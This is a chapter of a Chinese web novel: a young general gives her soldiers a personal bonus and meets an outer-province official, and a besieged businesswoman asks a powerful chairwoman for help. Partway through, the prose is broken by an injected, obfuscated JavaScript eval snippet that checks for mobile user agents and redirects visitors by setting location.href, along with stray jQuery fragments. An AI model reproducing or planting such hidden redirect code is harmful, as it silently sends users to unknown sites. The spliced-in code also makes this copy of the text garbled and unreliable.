郑芋心里纠结得要命,自从雾槿山初次来基地被她挑衅,她惨败后,就没敢再找对方。
后来雾槿山一路高歌猛进,从士兵到指挥使,她和其她人一样震惊,但从来不敢跟雾槿山单独说话,归根结底,是怕人家想起旧怨来。
但眼下的事情,让她不得不去找雾槿山,她不放心地看看身后陪自己的同伴们,悄悄呼口气,看向雾槿山,踯躅着说:“将军大人。”
山千嗯了声,又问:“什么事?”
说完她才意识到,最近她说这话的频率真高。
郑芋挠挠头:“就是……我听说零号先锋部队之后可能要调外州去,离这儿怪远的。”
山千问她:“不想去?”
“没有,没有不想去,”郑芋忙忙说,“只是太远了,想回趟家,跟家人说说,以后也不知道什么时候能再回来。”
山千:“跟大教官说一声,去就行了,有什么问题?”
郑芋拧着眉:“战区不是在重建嘛,很忙,也不知道……”
“没事,”她摆摆手,“就你一个还是有其她人?想回去探亲就回去吧,部队什么时候出发会通知的。”
“谢谢!”郑芋喜出望外,“谢谢您!”末了,她又鼓足勇气说,“还有当初在食堂的事儿,我、我一直没跟您道歉,对不起。”
山千看看她,心里有些好笑:“确实有长进。”
郑芋脸颊发红:“那我就先走了,还有几个人也要回家,我们去和大教官请假。”
山千注视着她和另几名士兵的背影,忽然说:“等等。”
众人回头,都不明所以,又不能回去了吗?
“上次说涨津贴的事,走流程起来比较麻烦,到现在都没有通知。”
山千边给人发消息边说,“我有事来不及,给大教官说了声,你们不着急的话明天回去,钱大概下午有银行的人送过来,零号先锋的每个人一百金币,给家里带点去,我个人奖励你们的。”
她发完消息,晃了晃手:“走了。”
郑芋等人呆呆地望着雾槿山的背影,一百金币,就这样奖励给她们?
“将军……人真好。”
一名士兵不禁感慨,其她人纷纷点头,完全没想到会有这种奖励。
虽然说零号先锋部队作战优秀,事实上,清剿两部反叛军她们根本没出多少力,完全是雾槿山以一己之力解决的,她们只是进行善后工作。
仅仅是这样,也能得到如此丰厚的奖励?而且是雾槿山自己的钱!
众士兵眼神闪烁,暗暗下定决心,要好好修行,变得更强,才不会给将军拖后腿。
外州州明使名为韩思勉,五十来岁,气质温和从容,见到山千时满面笑容,眼中全是欣赏:“雾槿山将军,久仰大名,您真不愧是人中龙凤!”
“韩明使客气了,”山千微微颔首,与她共同落座,“之后若是在外州进行活动,还要多多劳烦您。”
韩思勉笑道:“这是应该的,反叛军肆虐底州边境致使民不聊生,地区荒废千里,如今有您这位少年将军出手,总算是拔掉这根可恶的刺。外州要是有您出谋划策,是我的荣幸,更是地区民众的幸事。”
山千说道:“外州情况相比底州,更为复杂多变,恐怕不是发动战争能够解决的。”
韩思勉想起这事,微微皱眉:“是啊,就算发动战争,都不知道往哪儿开火,实不相瞒,反叛军势力在外州渗透得太深太广,说是有反叛军,举目四望,连人都找不到。”
山千沉默少顷:“韩明使,如果是这样,清剿反叛军一事就不能只由我来做,我可能会用到很多人的帮助。”
“您放心大胆地做,”韩思勉当即保证,“能得到多方有志之士的帮助,是天大的好事。将军不用担心,我就是您在外州最大的后盾,其她人要有什么意见,都来找我好了。”
山千说:“有韩明使这句话,我就放心了。”
之后两人简单交流一番便分开,山千出门的时候夜色浓稠,天空飘着雪花,越来越多,温度下降得飞快。
她用手指拨了拨额前的碎发,嘴角上扬,要不去饭店吃点?毕竟胃口越来越大,不多吃点很难饱腹。
“叮铃铃——”
山千慢条斯理嚼着菜,看向手机屏幕显示的联系人名称,面不改色。
足足过了三十秒,才悠悠接通电话:“你好,言老板。”
“唉,我一点都不好,”手机那头的言起语气疲惫,“山老板,您什么时候有空,我们见一面可以吗?”
“可以,明天吧。”
“好,麻烦您了。”
言起惴惴不安地放下手机,表情凝重地注视着电脑屏幕。
助理担忧地说:“老板,联系山千董事长,这……开弓没有回头箭。”
“没办法,”她捏着眉心,“是实在没办法的事情啊。”
翌日晚九点钟,言起在酒店忐忑不安地等待着,听见开门声,马上站起身,见来人是山千才如释重负,情绪万分复杂:“山老板,您能来真是太好了!”
“言老板突然约见我,是为了什么事?”山千坐在她对面的椅子上。
言起屏退旁人,房间里只留着她们二人。
她重重地叹口气:“本来我是不想麻烦您的,我在底州这么多年,经历的多是大风大浪,我能让东底州为我独大,有什么解决不了?但是,这事儿确实是真没办法。”
山千边听她说,边拿起筷子夹菜,细嚼慢咽。
言起喝了杯酒,继续说:“那天跟您去南底州看看情况,正好抓住关素贪污的证据,后来我将视频发到网上,各种惊奇的事接连发生。”
首先是批由高级政府盖章的文件下达,指出天成月集团名下多家工地违规进行,要么是缺签字文件要么是材料不达标要么是招标暗藏玄机不透明。
紧接着,又有许多人匿名举报集团旗下食品公司有某种不可食用的化学添加剂,会使人出现多种疾病,政府派人以调查为名查封大半。
后来,多地仓库起火,各种项目停止,短短时间内,集团损失惨重,言起被搞得心力交瘁。
尽管如此,但瘦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15091107|157826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
死的骆驼比马大,天成月集团不至于撑不住,可这么下去总归不是办法,言起清楚这是有人在整自己,于是让人暗中进行调查。
“所有的政府文件,全部来自外州,底州政府没有任何干涉权,”言起舔了舔干涩的嘴唇,“我想,可能是关素的事情,她从外州调过来的。”
山千颦着眉:“很有可能,政府官僚中,少有单打独斗的,多是依附在盘根错节的关系网中生存,牵一发而动全身。现在想来,圣殿政府每年拨款给边境的钱财绝对庞大,关素不可能一个人吞得下,或许还要向各方打点。”
言起表情憔悴,揉着太阳穴:“您说,这种人我可能不生气吗?唉,这也没办法,我之前跟外州的合作也被冷处理,如果不解决这事,公司如履薄冰啊。”
“所以,山老板,”言起真诚地看着她,“我希望可以得到您的帮助。”
她思忖再三,最终选择寻求山千的帮助,一来在这件事上,底州政府没有任何作用,不添把火就谢天谢地了。
二来,偌大的底州中,除她言起,能撑得起台面的,只有万象集团的山千董事长,和大洲公司的费以宁老板。
她想着,费以宁老谋深算,会不会冒风险帮她不说,这人跟政府交好指不定憋着什么坏。
那就只有山千了,言起想到山千大公无私的模样,以及一丝不苟的行事作风,觉得可以试一试。
山千有些讶异:“言老板,这……”她抿了抿唇,说,“我和你别无二致,都是生意人,只懂朴素的营生门道,如果我要帮助你,得承担很大的风险。”
她眼神无奈:“风险太大了,言老板,你说,我要怎么答应你呢?”
言起怔怔地看着她。
山千低头啜饮热水,腾腾热气升空。
一时间,包厢里针落可闻。
不知怎的,言起感觉手脚冰凉,可能是遇到什么事,但也许是外面在刮暴风雪的缘故。
北底州的冬季总是伴随着猛烈的风雪,一夜的大雪有时能没过小腿,积雪下会多几具流民的尸体。
言起生活在东部,适应了温和的环境,所以来到这暴雪连天的北部,才会觉得无比寒冷,哪怕是在有暖气的包厢,也让她禁不住发抖。
她望着淡然自若的山千,想起助理那句开弓没有回头箭的话,又想到她怎么会和她坐在一起。
明明最初她很抗拒和山千接触,这人短时间内掌控北底州,对手不是死亡就是失踪,没听说和谁合作过,永远都是吞并、收购,要跟这种人相处,会被吃得一点都不剩。
现在,她们就这样面对面坐着,但是,也没什么办法了。
言起要拿酒杯,伸出手指又收回,她看见手机屏幕亮起,助理告诉她又有什么文件下来,出问题的永远是天成月集团,一条接着一条,好像粗壮的麻绳勒住她的脖子。
她努力在窒息感中扬起微笑,那种在她看来不知道向谁表示“自愿”的笑容:“老板,您会力挽狂澜,让自己的公司减少损失吧?”
山千放下水杯,注视着她的眼睛:“当然。”